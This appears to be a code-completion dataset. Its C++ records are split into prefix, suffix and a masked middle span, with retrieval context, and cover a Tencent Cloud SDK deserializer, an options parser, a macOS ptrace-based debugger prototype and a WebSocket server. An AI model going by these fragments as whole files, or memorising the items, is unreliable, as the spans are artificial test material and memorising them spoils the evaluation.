#include <tencentcloud/mdl/v20200326/model/EventSettingsResp.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Mdl::V20200326::Model; using namespace std; EventSettingsResp::EventSettingsResp() : m_eventTypeHasBeenSet(false), m_inputAttachmentHasBeenSet(false), m_outputGroupNameHasBeenSet(false), m_manifestNameHasBeenSet(false), m_destinationsHasBeenSet(false) { } CoreInternalOutcome EventSettingsResp::Deserialize(const rapidjson::Value &value) { string requestId = ""; if (value.HasMember("EventType") && !value["EventType"].IsNull()) { if (!value["EventType"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.EventType` IsString=false incorrectly").SetRequestId(requestId)); } m_eventType = string(value["EventType"].GetString()); m_eventTypeHasBeenSet = true; } if (value.HasMember("InputAttachment") && !value["InputAttachment"].IsNull()) { if (!value["InputAttachment"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.InputAttachment` IsString=false incorrectly").SetRequestId(requestId)); } m_inputAttachment = string(value["InputAttachment"].GetString()); m_inputAttachmentHasBeenSet = true; } if (value.HasMember("OutputGroupName") && !value["OutputGroupName"].IsNull()) { if (!value["OutputGroupName"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.OutputGroupName` IsString=false incorrectly").SetRequestId(requestId)); } m_outputGroupName = string(value["OutputGroupName"].GetString()); m_outputGroupNameHasBeenSet = true; } if (value.HasMember("ManifestName") && !value["ManifestName"].IsNull()) { if (!value["ManifestName"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.ManifestName` IsString=false incorrectly").SetRequestId(requestId)); } m_manifestName = string(value["ManifestName"].GetString()); m_manifestNameHasBeenSet = true; } if (value.HasMember("Destinations") && !value["Destinations"].IsNull()) { if (!value["Destinations"].IsArray()) return CoreInternalOutcome(Core::Error("response `EventSettingsResp.Destinations` is not array type")); const rapidjson::Value &tmpValue = value["Destinations"]; for (rapidjson::Value::ConstValueIterator itr = tmpValue.Begin(); itr != tmpValue.End(); ++itr) { EventSettingsDestinationResp item; CoreInternalOutcome outcome = item.Deserialize(*itr); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_destinations.push_back(item); } m_destinationsHasBeenSet = true; } return CoreInternalOutcome(true); } void EventSettingsResp::ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const { if (m_eventTypeHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "EventType"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_eventType.c_str(), allocator).Move(), allocator); } if (m_inputAttachmentHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "InputAttachmen
string EventSettingsResp::GetEventType() const { return m_eventType; } void EventSettingsResp::SetEventType(const string& _eventType) { m_eventType = _eventType; m_eventTypeHasBeenSet = true; } bool EventSettingsResp::EventTypeHasBeenSet() const { return m_eventTypeHasBeenSet; } string EventSettingsResp::GetInputAttachment() const { return m_inputAttachment; } void EventSettingsResp::SetInputAttachment(const string& _inputAttachment) { m_inputAttachment = _inputAttachment; m_inputAttachmentHasBeenSet = true; } bool EventSettingsResp::InputAttachmentHasBeenSet() const { return m_inputAttachmentHasBeenSet; } string EventSettingsResp::GetOutputGroupName() const { return m_outputGroupName; } void EventSettingsResp::SetOutputGroupName(const string& _outputGroupName) { m_outputGroupName = _outputGroupName; m_outputGroupNameHasBeenSet = true; } bool EventSettingsResp::OutputGroupNameHasBeenSet() const { return m_outputGroupNameHasBeenSet; } string EventSettingsResp::GetManifestName() const { return m_manifestName; } void EventSettingsResp::SetManifestName(const string& _manifestName) { m_manifestName = _manifestName; m_manifestNameHasBeenSet = true; } bool EventSettingsResp::ManifestNameHasBeenSet() const { return m_manifestNameHasBeenSet; } vector<EventSettingsDestinationResp> EventSettingsResp::GetDestinations() const { return m_destinations; } void EventSettingsResp::SetDestinations(const vector<EventSettingsDestinationResp>& _destinations) { m_destinations = _destinations; m_destinationsHasBeenSet = true; } bool EventSettingsResp::DestinationsHasBeenSet() const { return m_destinationsHasBeenSet; }
t"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_inputAttachment.c_str(), allocator).Move(), allocator); } if (m_outputGroupNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "OutputGroupName"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_outputGroupName.c_str(), allocator).Move(), allocator); } if (m_manifestNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "ManifestName"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_manifestName.c_str(), allocator).Move(), allocator); } if (m_destinationsHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "Destinations"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kArrayType).Move(), allocator); int i=0; for (auto itr = m_destinations.begin(); itr != m_destinations.end(); ++itr, ++i) { value[key.c_str()].PushBack(rapidjson::Value(rapidjson::kObjectType).Move(), allocator); (*itr).ToJsonObject(value[key.c_str()][i], allocator); } } }
function_block-function_prefixed
[]
C++
XXmotif/src/getopt_pp/getopt_pp.cpp
yanshen43/MCAT
336c5deea456dae0916fbc8935930402a4acbcad
#include <unistd.h> #include "getopt_pp.h" #if __APPLE__ extern char** environ; #endif namespace GetOpt { const char GetOpt_pp::EMPTY_OPTION = 0; GETOPT_INLINE void GetOpt_pp::_init_flags() { std::stringstream ss; _flags = ss.flags(); } GETOPT_INLINE void GetOpt_pp::_parse(int argc, char* argv[]) { OptionData* currentData = NULL; _app_name = argv[0]; for(int i=1; i < argc; i++) { const char current = argv[i][0]; const char next = argv[i][1]; if (current == '-' && (isalpha(next) || next == '-' ) ) { if (next == '-' && argv[i][2] != 0) { currentData = &_longOps[&argv[i][2]]; } else { size_t j=1; do { currentData = &_shortOps[argv[i][j]]; j++; } while (argv[i][j] != 0); } } else { if (currentData == NULL) currentData = &_shortOps[EMPTY_OPTION]; currentData->args.push_back(argv[i]); } } _last = _Option::OK; } GETOPT_INLINE void GetOpt_pp::_parse_env() { std::string var_name; std::string var_value; size_t var=0; std::string::size_type pos; OptionData* data; while (environ[var] != NULL) { var_name = environ[var]; pos = var_name.find('='); if (pos != std::string::npos) { var_value = var_name.substr(pos+1); var_name = var_name.substr(0, pos); if (_longOps.find(var_name) == _longOps.end()) { data = &_longOps[var_name]; data->args.push_back(var_value); data->flags = OptionData::Envir; } } else (data = &_longOps[var_name])->flags = OptionData::Envir; var++; } } GETOPT_INLINE GetOpt_pp::GetOpt_pp(int argc, char* argv[]) : _exc(std::ios_base::goodbit) { _init_flags(); _parse(argc, argv); } GETOPT_INLINE GetOpt_pp::GetOpt_pp(int argc, char* argv[], _EnvTag) { _init_flags(); _parse(argc, argv); _parse_env(); } GETOPT_INLINE GetOpt_pp& GetOpt_pp::operator >> (const _Option& opt) throw (GetOptEx) { if (_last != _Option::ParsingError) { _last = opt(_shortOps, _longOps, _flags); switch(_last) { case _Option::OK: break; case _Option::OptionNotFound: if (_exc & std::ios_base::eofbit ) throw OptionNotFoundEx(); break; case _Option::BadType: if (_exc & std::ios_base::failbit ) throw InvalidFormatEx(); break; case _Option::NoArgs: if (_exc & std::ios_base::eofbit ) throw ArgumentNotFoundEx(); break; case _Option::TooManyArgs: if (_exc & std::ios_base::failbit ) throw TooManyArgumentsEx(); break; case _Option::OptionNotFound_NoEx: break; case _Option::ParsingError: break; } } else if (_exc & std::ios_base::failbit ) throw ParsingErrorEx(); return *this; } GETOPT_INLINE GetOpt_pp& GetOpt_pp::operator >> (std::ios_base& (*iomanip)(std::ios_base&)) { std::stringstream ss; ss.flags(_flags); _flags = (ss << iomanip).flags(); return *this; } GETOPT_INLINE bool GetOpt_pp::options_remain() const { bool remain = false; ShortOptions::const_iterator it = _shortOps.begin(); while (it != _shortOps.end() && !remain) { remain = (it->second.flags == OptionData::CmdLine_NotExtracted); ++it; } if (!remain) { LongOptions::const_iterator it = _longOps.begin(); while (it != _longOps.end() && !remain) { remain = (it->second.flags == OptionData::CmdLine_NotExtracted); ++it; } } return remain; } GETOPT_INLINE std::list<std::string> GetOpt_pp::remaining_options() const { std::list<std::string> unp; for (ShortOptions::const_iterator it = _shortOps.begin(); it != _shortOps.end(); ++it) { if (it->second.flags == OptionData::CmdLine_NotExtracted) { unp.push_back(std::string(1, it->first)); } } for (LongOptions::const_iterator it = _longOps.begin(); it != _longOps.end(); ++it) { if (it->second.flags == OptionData::CmdLine_NotExtracted) { unp.push_back(it->first); } } return unp; } }
#include <unistd.h> #include "getopt_pp.h" #if __APPLE__ extern char** environ; #endif namespace GetOpt { const char GetOpt_pp::EMPTY_OPTION = 0; GETOPT_INLINE void GetOpt_pp::_init_flags() { std::stringstream ss; _flags = ss.flags(); } GETOPT_INLINE void GetOpt_pp::_parse(int argc, char* argv[]) { OptionData* currentData = NULL; _app_name = argv[0]; for(int i=1; i < argc; i++) { const char current = argv[i][0]; const char next = argv[i][1]; if (current == '-' && (isalpha(next) || next == '-' ) ) { if (next == '-' && argv[i][2] != 0) { currentData = &_longOps[&argv[i][2]]; } else { size_t j=1; do { currentData = &_shortOps[argv[i][j]]; j++; } while (argv[i][j] != 0); } } else { if (currentData == NULL) currentData = &_shortOps[EMPTY_OPTION]; currentData->args.push_back(argv[i]); } } _last = _Option::OK; } GETOPT_INLINE void GetOpt_pp::_parse_env() { std::string var_name; std::string var_value; size_t var=0; std::string::size_type pos; OptionData* data; while (environ[var] != NULL) { var_name = environ[var]; pos = var_name.find('='); if (pos != std::string::npos) { var_value = var_name.substr(pos+1); var_name = var_name.substr(0, pos); if (_longOps.find(var_name) == _longOps.end()) { data = &_longOps[var_name]; data->args.push_back(var_value); data->flags = OptionData::Envir; } } else (data = &_longOps[var_name])->flags = OptionData::Envir; var++; } } GETOPT_INLINE GetOpt_pp::GetOpt_pp(int argc, char* argv[]) : _exc(std::ios_base::goodbit) { _init_flags(); _parse(argc, argv); } GETOPT_INLINE GetOpt_pp::GetOpt_pp(int argc, char* argv[], _EnvTag) { _init_flags(); _parse(argc, argv); _parse_env(); } GETOPT_INLINE GetOpt_pp& GetOpt_pp::operator >> (const _Option& opt) throw (GetOptEx) { if (_last != _Option::ParsingError) { _last = opt(_shortOps, _longOps, _flags); switch(_last) { case _Option::OK: break; case _Option::OptionNotFound: if (_exc & std::ios_base::eofbit ) throw OptionNotFoundEx(); break; case _Option::BadType: if (_exc & std::ios_base::failbit ) throw InvalidFormatEx(); break; case _Option::NoArgs: if (_exc & std::ios_base::eofbit ) throw ArgumentNotFoundEx(); break; case _Option::TooManyArgs: if (_exc & std::ios_base::failbit ) throw TooManyArgumentsEx(); break; case _Option::OptionNotFound_NoEx: break; case _Option::ParsingError: break; } } else if (_exc & std::ios_base::failbit ) throw ParsingErrorEx(); return *this; } GETOPT_INLINE GetOpt_pp& GetOpt_pp::operator >> (std::ios_base& (*iomanip)(std::ios_base&)) { std::stringstream ss; ss.flags(_flags); _flags = (ss << iomanip).flags(); return *this; } GETOPT_INLINE bool GetOpt_pp::options_remain() const { bool remain = false; ShortOptions::const_iterator it = _shortOps.begin(); while (it != _shortOps.end() && !remain) { remain = (it->second.flags == OptionData::CmdLine_NotExtracted); ++it; }
return remain; } GETOPT_INLINE std::list<std::string> GetOpt_pp::remaining_options() const { std::list<std::string> unp; for (ShortOptions::const_iterator it = _shortOps.begin(); it != _shortOps.end(); ++it) { if (it->second.flags == OptionData::CmdLine_NotExtracted) { unp.push_back(std::string(1, it->first)); } } for (LongOptions::const_iterator it = _longOps.begin(); it != _longOps.end(); ++it) { if (it->second.flags == OptionData::CmdLine_NotExtracted) { unp.push_back(it->first); } } return unp; } }
if (!remain) { LongOptions::const_iterator it = _longOps.begin(); while (it != _longOps.end() && !remain) { remain = (it->second.flags == OptionData::CmdLine_NotExtracted); ++it; } }
if_condition
[ { "content": "struct ArgumentNotFoundEx : GetOptEx{};\n", "file_path": "XXmotif/src/getopt_pp/getopt_pp.h", "rank": 0, "score": 146327.69093322876 }, { "content": "struct InvalidFormatEx : GetOptEx{};\n", "file_path": "XXmotif/src/getopt_pp/getopt_pp.h", "rank": 1, "score": 14632...
C++
notes/Debugger.cpp
astronalta/gamepython
3927dfbb0ae9706cd99d4f15ea792b30512dd4c1
#ifdef DARWIN #include "Environment.hpp" #include "Lexer.hpp" #include <mach/mach_traps.h> #include <mach/mach_vm.h> #include <mach/vm_map.h> #include <mach/mach_init.h> #include <sys/types.h> #include <sys/ptrace.h> #include <cerrno> #include <iostream> Environment::Ptr env(new Environment()); pid_t pid = 0; task_t task = 0; #define vm_map_trunc_page(x) ((vm_map_offset_t)(x) & ~((signed)PAGE_MASK)) #define CHECK(x) {\ errno = 0;\ x;\ if (errno) {\ perror("Error ("#x")");\ }\ } void error(kern_return_t ret) { if (KERN_SUCCESS == ret) { printf("KERN_SUCCESS\n"); } else if (KERN_INVALID_ADDRESS == ret) { printf("KERN_INVALID_ADDRESS\n"); } else if (KERN_PROTECTION_FAILURE == ret) { printf("KERN_PROTECTION_FAILURE\n"); } else { printf("unknown\n"); } } void read_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) { mach_vm_size_t count = len; kern_return_t ret = 0; ret = mach_vm_protect(task, addr, 1, false, VM_PROT_READ|VM_PROT_WRITE); error(ret); ret = mach_vm_read_overwrite(task, addr, len, buf, &count); error(ret); } void write_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) { kern_return_t ret = 0; ret = mach_vm_write(task, addr, buf, len); error(ret); ret = mach_vm_copy(task, addr, 10, addr); error(ret); } void breakpoint(mach_vm_address_t addr) { addr = vm_map_trunc_page(0x7fff5e8a6c08); std::cerr << "Breaking at " << std::hex << (intptr_t)addr << std::dec << std::endl; mach_vm_address_t trap = 0; mach_vm_address_t backup = 0; error(mach_vm_allocate(mach_task_self(), &trap, PAGE_SIZE, VM_FLAGS_ANYWHERE)); error(mach_vm_allocate(mach_task_self(), &backup, PAGE_SIZE, VM_FLAGS_ANYWHERE)); read_mem(addr, backup, PAGE_SIZE); write_mem(addr, trap, PAGE_SIZE); } void run() { std::cerr << "Resuming execution" << std::endl; CHECK(ptrace(PT_CONTINUE, pid, (caddr_t)1, 0)); wait(NULL); } void command() { Lexer lexer(env); lexer.input(); Token cmd = lexer.token(); if (cmd.value() == "break") { lexer.next(); Token bp = lexer.token(); std::stringstream ss(bp.value().substr(1)); intptr_t addr = 0; ss >> addr; breakpoint((mach_vm_address_t)addr); std::cerr << bp.value() << std::endl; } else if (cmd.value() == "run") { run(); } else if (cmd.value() == "continue") { run(); } } pid_t run(char* argv) { pid_t pid = fork(); if (pid < 0) { assert(!"fork failed"); exit(1); } else if (pid) { return pid; } std::cerr << &pid << std::endl; std::cerr << sizeof(&pid) << std::endl; CHECK(ptrace(PT_TRACE_ME, 0, 0, 0)); execlp(argv, argv, 0); assert(!"exec failed"); exit(1); return -1; } int main(int argc, char** argv) { std::cerr << sizeof(argv) << std::endl; pid = run(argv[1]); task_for_pid(mach_task_self(), pid, &task); std::cerr << "Forked child at " << pid << std::endl; std::cerr << "Task " << task << std::endl; while (std::cin.good()) { std::cout << ">>> "; std::string line; int ch = std::cin.get(); if (ch == ':') { command(); } else { std::getline(std::cin, line); std::cerr << "Error: Not supported" << std::endl; } } std::cout << "Leaving jgi." << std::endl; return 0; } #else #include <cassert> int main(int argc, char** argv) { assert(!"Not implemented"); return 0; } #endif
#ifdef DARWIN #include "Environment.hpp" #include "Lexer.hpp" #include <mach/mach_traps.h> #include <mach/mach_vm.h> #include <mach/vm_map.h> #include <mach/mach_init.h> #include <sys/types.h> #include <sys/ptrace.h> #include <cerrno> #include <iostream> Environment::Ptr env(new Environment()); pid_t pid = 0; task_t task = 0; #define vm_map_trunc_page(x) ((vm_map_offset_t)(x) & ~((signed)PAGE_MASK)) #define CHECK(x) {\ errno = 0;\ x;\ if (errno) {\ perror("Error ("#x")");\ }\ } void error(kern_return_t ret) { if (KERN_SUCCESS == ret) { printf("KERN_SUCCESS\n"); } else if (KERN_INVALID_ADDRESS == ret) { printf("KERN_INVALID_ADDRESS\n"); } else if (KERN_PROTECTION_FAILURE == ret) { printf("KERN_PROTECTION_FAILURE\n"); } else { printf("unknown\n"); } } void read_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) { mach_vm_size_t count = len; kern_return_t ret = 0; ret = mach_vm_protect(task, addr, 1, false, VM_PROT_READ|VM_PROT_WRITE); error(ret); ret = mach_vm_read_overwrite(task, addr, len, buf, &count); error(ret); } void write_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) { kern_return_t ret = 0; ret = mach_vm_write(task, addr, buf, len); error(ret); ret = mach_vm_copy(task, addr, 10, addr); error(ret); } void breakpoint(mach_vm_address_t addr) { addr = vm_map_trunc_page(0x7fff5e8a6c08); std::cerr << "Breaking at " << std::hex << (intptr_t)addr << std::dec << std::endl; mach_vm_address_t trap = 0; mach_vm_address_t backup = 0; error(mach_vm_allocate(mach_task_self(), &trap, PAGE_SIZE, VM_FLAGS_ANYWHERE)); error(mach_vm_allocate(mach_task_self(), &backup, PAGE_SIZE, VM_FLAGS_ANYWHERE)); read_mem(addr, backup, PAGE_SIZE); write_mem(addr, trap, PAGE_SIZE); } void run() { std::cerr << "Resuming execution" << std::endl; CHECK(ptrace(PT_CONTINUE, pid, (caddr_t)1, 0)); wait(NULL); } void command() { Lexer lexer(env); lexer.input(); Token cmd = lexer.token();
} pid_t run(char* argv) { pid_t pid = fork(); if (pid < 0) { assert(!"fork failed"); exit(1); } else if (pid) { return pid; } std::cerr << &pid << std::endl; std::cerr << sizeof(&pid) << std::endl; CHECK(ptrace(PT_TRACE_ME, 0, 0, 0)); execlp(argv, argv, 0); assert(!"exec failed"); exit(1); return -1; } int main(int argc, char** argv) { std::cerr << sizeof(argv) << std::endl; pid = run(argv[1]); task_for_pid(mach_task_self(), pid, &task); std::cerr << "Forked child at " << pid << std::endl; std::cerr << "Task " << task << std::endl; while (std::cin.good()) { std::cout << ">>> "; std::string line; int ch = std::cin.get(); if (ch == ':') { command(); } else { std::getline(std::cin, line); std::cerr << "Error: Not supported" << std::endl; } } std::cout << "Leaving jgi." << std::endl; return 0; } #else #include <cassert> int main(int argc, char** argv) { assert(!"Not implemented"); return 0; } #endif
if (cmd.value() == "break") { lexer.next(); Token bp = lexer.token(); std::stringstream ss(bp.value().substr(1)); intptr_t addr = 0; ss >> addr; breakpoint((mach_vm_address_t)addr); std::cerr << bp.value() << std::endl; } else if (cmd.value() == "run") { run(); } else if (cmd.value() == "continue") { run(); }
if_condition
[ { "content": "class Token { \n\npublic:\n\n enum Type {\n\n OR, AND, XORB, ANDB, ORB, ASSIGN, EQUAL, NOT_EQUAL, LESS, GREATER,\n\n LESS_OR_EQ, GREATER_OR_EQ, COMPARE, LEFT_SHIFT, RIGHT_SHIFT, ADD, SUB, \n\n MUL, DIV, MOD, NOT, POW, INCREMENT, DECREMENT, IDENTIFIER, TYPE, \n\n OPER...
C++
library/src/RadJav/cpp/RadJavCPPNetWebSocketServer.cpp
FogChainInc/RadJavPrivate
4dd01ba3e36d642ad9c0a1b80cd60b94dbe302d0
#include "cpp/RadJavCPPNetWebSocketServer.h" #include "RadJav.h" #include "RadJavString.h" #include <boost/uuid/uuid.hpp> #include <boost/uuid/uuid_generators.hpp> #include <boost/uuid/uuid_io.hpp> #ifdef USE_V8 #include "v8/RadJavV8JavascriptEngine.h" #endif namespace RadJAV { namespace CPP { namespace Net { WebSocketServer::WebSocketServer(String listenAddress, RJUSHORT port, RJBOOL useOwnThread) { thread = NULL; m_isAlive = false; this->listenAddress = listenAddress; this->useOwnThread = useOwnThread; this->m_port = port; myThread = NULL; maxConnections = 1000000; m_serverAcceptEvent = NULL; m_serverReceiveEvent = NULL; } WebSocketServer::~WebSocketServer() { close(); DELETEOBJ(thread); DELETEOBJ(m_io_context); if (myThread != NULL) { myThread->join(); DELETEOBJ(myThread); } } #if defined USE_V8 || defined USE_JAVASCRIPTCORE void WebSocketServer::on(String event, RJ_FUNC_TYPE func) { createEvent(event, func); } #endif void WebSocketServer::myListenThread() { this->m_isAlive = true; this->m_io_context->run(); } void WebSocketServer::listen() { auto const address = boost::asio::ip::make_address(listenAddress); auto const threads = std::max<int>(1, std::atoi("1")); m_io_context = RJNEW boost::asio::io_context{ threads }; m_listener = std::make_shared<WebSocketServerListener>(*m_io_context, boost::asio::ip::tcp::endpoint(address, m_port), this); if (m_serverAcceptEvent != NULL) m_listener -> set_on_accept_callback(m_serverAcceptEvent); if (m_serverReceiveEvent != NULL) m_listener -> set_on_receive_callback(m_serverReceiveEvent); m_listener -> run(); if (useOwnThread == true) { myThread = RJNEW std::thread(&WebSocketServer::myListenThread, this); } else { DELETEOBJ(thread); thread = RJNEW SimpleThread(); thread->onStart = [this]() { this->m_isAlive = true; this->m_io_context->run(); }; RadJav::addThread(thread); } } void WebSocketServer::send(String id_, String message_) { for (const auto& s : m_sessions) if (s.m_session_id == id_) { s.m_session->do_write(message_); break; } } void WebSocketServer::send(String id_, const void* message_, int msg_len) { for (const auto& s : m_sessions) if (s.m_session_id == id_) { s.m_session->do_write(message_, msg_len); break; } } void WebSocketServer::sendToAll(String message_) { for(const auto& s: m_sessions) s.m_session->do_write(message_); } String WebSocketServer::receive() { if (m_sessions.size() > 0) { std::string message = m_sessions[0].m_last_message; m_sessions[0].m_last_message = ""; return message; } return String(""); } void WebSocketServer::close() { m_isAlive = false; m_io_context->stop(); if (useOwnThread == true) { if (myThread != NULL) { myThread->join(); DELETEOBJ(myThread); } } else RadJav::javascriptEngine->removeThread(thread); } void WebSocketServer::set_on_accept_callback(v8::Persistent<v8::Function>* callback) { m_serverAcceptEvent = callback; } void WebSocketServer::set_on_receive_callback(v8::Persistent<v8::Function>* callback) { m_serverReceiveEvent = callback; } WebSocketServer::WebSocketServerSession::WebSocketServerSession(boost::asio::ip::tcp::socket socket_, std::string sessionID_, WebSocketServer *webSocketServer) : m_ws(std::move(socket_)), m_strand(m_ws.get_executor()), m_sessionID(sessionID_) { this->webSocketServer = webSocketServer; m_serverReceiveEvent = NULL; } void WebSocketServer::WebSocketServerSession::run () { m_ws.async_accept( boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_accept, shared_from_this(), std::placeholders::_1))); } void WebSocketServer::WebSocketServerSession::close() { m_ws.next_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both); m_ws.next_layer().close(); } void WebSocketServer::WebSocketServerSession::set_on_receive_callback(v8::Persistent<v8::Function>* callback) { m_serverReceiveEvent = callback; } void WebSocketServer::WebSocketServerSession::on_accept(boost::system::error_code ec_) { if (ec_) { RadJav::throwException("on_accept error: " + ec_.message ()); return; } do_read(); } void WebSocketServer::WebSocketServerSession::do_read() { m_ws.async_read( m_readBuffer, boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_read, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } void WebSocketServer::WebSocketServerSession::do_write(String message_) { m_ws.text(true); m_activeMessage = std::make_shared<std::string>(std::move(message_)); m_ws.async_write( boost::asio::buffer(*m_activeMessage), boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_write, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } void WebSocketServer::WebSocketServerSession::do_write(const void *message_, int msg_len) { m_ws.binary(true); m_ws.async_write( boost::asio::buffer(message_, msg_len), boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_write, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } v8::Local<v8::Function> WebSocketServer::WebSocketServerSession::get_on_receive_callback() { return m_serverReceiveEvent->Get(V8_JAVASCRIPT_ENGINE->isolate); } void WebSocketServer::WebSocketServerSession::on_read( boost::system::error_code ec, std::size_t bytes_transferred) { boost::ignore_unused(bytes_transferred); if (ec == boost::beast::websocket::error::closed) { for (auto it = webSocketServer->m_sessions.begin(); it != webSocketServer->m_sessions.end(); ++it) if (it->m_session_id == m_sessionID) { webSocketServer->m_sessions.erase(it); String *id = RJNEW String(m_sessionID.c_str()); webSocketServer->executeCppEvent("close", Array<void *>({ id })); DELETEOBJ(id); break; } return; } if (ec) { RadJav::throwException("Read error"); return; } String *id = RJNEW String (m_sessionID.c_str()); String *message = RJNEW String (boost::beast::buffers_to_string(m_readBuffer.data()).c_str()); webSocketServer->executeCppEvent("receive", Array<void *> ({ id, message })); #ifdef USE_V8 if (m_serverReceiveEvent != nullptr) { v8::Locker myLocker(V8_JAVASCRIPT_ENGINE->isolate); V8_JAVASCRIPT_ENGINE->isolate -> Enter(); v8::Local<v8::Function> evt = get_on_receive_callback(); v8::Local<v8::Value> *args = RJNEW v8::Local<v8::Value>[2]; args[0] = id->toV8String(V8_JAVASCRIPT_ENGINE->isolate); if (m_ws.got_text()) { args[1] = message->toV8String(V8_JAVASCRIPT_ENGINE->isolate); } else { auto msgLen = boost::beast::buffers_front(m_readBuffer.data()).size(); auto message = v8::ArrayBuffer::New(V8_JAVASCRIPT_ENGINE->isolate, msgLen); std::memcpy(message -> GetContents().Data(), boost::beast::buffers_front(m_readBuffer.data()).data(), msgLen); args[1] = message; } if (V8_JAVASCRIPT_ENGINE->v8IsNull(evt) == false) evt->Call(V8_JAVASCRIPT_ENGINE->globalContext->Global(), 2, args); DELETE_ARRAY(args); V8_JAVASCRIPT_ENGINE->isolate -> Exit(); } #endif DELETEOBJ(id); DELETEOBJ(message); m_readBuffer.consume(m_readBuffer.size()); do_read(); } void WebSocketServer::WebSocketServerSession::on_write( boost::system::error_code ec, std::size_t bytes_transferred) { boost::ignore_unused(bytes_transferred); if (ec) { RadJav::throwException("Write error"); return; } } WebSocketServer::WebSocketServerListener::WebSocketServerListener( boost::asio::io_context& ioc_, boost::asio::ip::tcp::endpoint endpoint_, WebSocketServer *webSocketServer ) : m_acceptor(ioc_), m_socket(ioc_) { m_serverAcceptEvent = NULL; m_serverReceiveEvent = NULL; connectionCounter = 0; boost::system::error_code ec; m_acceptor.open(endpoint_.protocol(), ec); if (ec) { RadJav::throwException("Open error"); return; } m_acceptor.set_option(boost::asio::socket_base::reuse_address(true)); if (ec) { RadJav::throwException("set_option error"); return; } m_acceptor.bind(endpoint_, ec); if (ec) { RadJav::throwException("Bind error"); return; } m_acceptor.listen( boost::asio::socket_base::max_listen_connections, ec); if (ec) { RadJav::throwException("Listen error: " + ec.message ()); return; } this->webSocketServer = webSocketServer; } void WebSocketServer::WebSocketServerListener::set_on_accept_callback(v8::Persistent<v8::Function>* callback) { m_serverAcceptEvent = callback; } void WebSocketServer::WebSocketServerListener::set_on_receive_callback(v8::Persistent<v8::Function>* callback) { m_serverReceiveEvent = callback; } void WebSocketServer::WebSocketServerListener::run() { if (!m_acceptor.is_open()) return; do_accept(); } void WebSocketServer::WebSocketServerListener::do_accept() { if (connectionCounter >= webSocketServer->maxConnections) return; m_acceptor.async_accept( m_socket, std::bind( &WebSocketServerListener::on_accept, shared_from_this(), std::placeholders::_1)); } v8::Local<v8::Function> WebSocketServer::WebSocketServerListener::get_on_accept_callback() { return v8::Local<v8::Function>::Cast(RadJAV::CPP::Net::WebSocketServer::WebSocketServerListener::m_serverAcceptEvent->Get(V8_JAVASCRIPT_ENGINE->isolate)); } v8::Persistent<v8::Function> *WebSocketServer::WebSocketServerListener::get_on_receive_persistent_evt() { return m_serverReceiveEvent; } void WebSocketServer::WebSocketServerListener::on_accept(boost::system::error_code ec) { if (ec) { RadJav::throwException("Accept error: " + ec.message ()); } else { session_data this_session; std::string sessionId = boost::uuids::to_string(boost::uuids::random_generator()()); auto session = std::make_shared<WebSocketServerSession>(std::move(m_socket), sessionId, webSocketServer); if (m_serverReceiveEvent != NULL) session -> set_on_receive_callback(get_on_receive_persistent_evt()); this_session.m_session = session; this_session.m_session_id = sessionId; webSocketServer->m_sessions.push_back(this_session); session->run(); String *id = RJNEW String (sessionId.c_str()); RJBOOL acceptConnection = true; RJBOOL *accepted = (RJBOOL *)webSocketServer->executeCppEvent("accept", Array<void *>({ id })); if (accepted != NULL) { if (*accepted == false) acceptConnection = false; } #ifdef USE_V8 if (m_serverAcceptEvent != nullptr) { v8::Locker myLocker(V8_JAVASCRIPT_ENGINE->isolate); V8_JAVASCRIPT_ENGINE->isolate -> Enter(); v8::Local<v8::Function> evt = get_on_accept_callback(); v8::Local<v8::Value> *args = RJNEW v8::Local<v8::Value>[1]; args[0] = id->toV8String(V8_JAVASCRIPT_ENGINE->isolate); if (V8_JAVASCRIPT_ENGINE->v8IsNull(evt) == false) { v8::Local<v8::Value> result = evt->Call(V8_JAVASCRIPT_ENGINE->globalContext->Global(), 1, args); if (result->IsNullOrUndefined () == false) acceptConnection = V8_JAVASCRIPT_ENGINE->v8ParseBool(result); } DELETE_ARRAY(args); V8_JAVASCRIPT_ENGINE->isolate -> Exit(); } #endif DELETEOBJ(id); if (acceptConnection == false) { webSocketServer->m_sessions.pop_back(); session->close(); } } connectionCounter++; do_accept(); } } } }
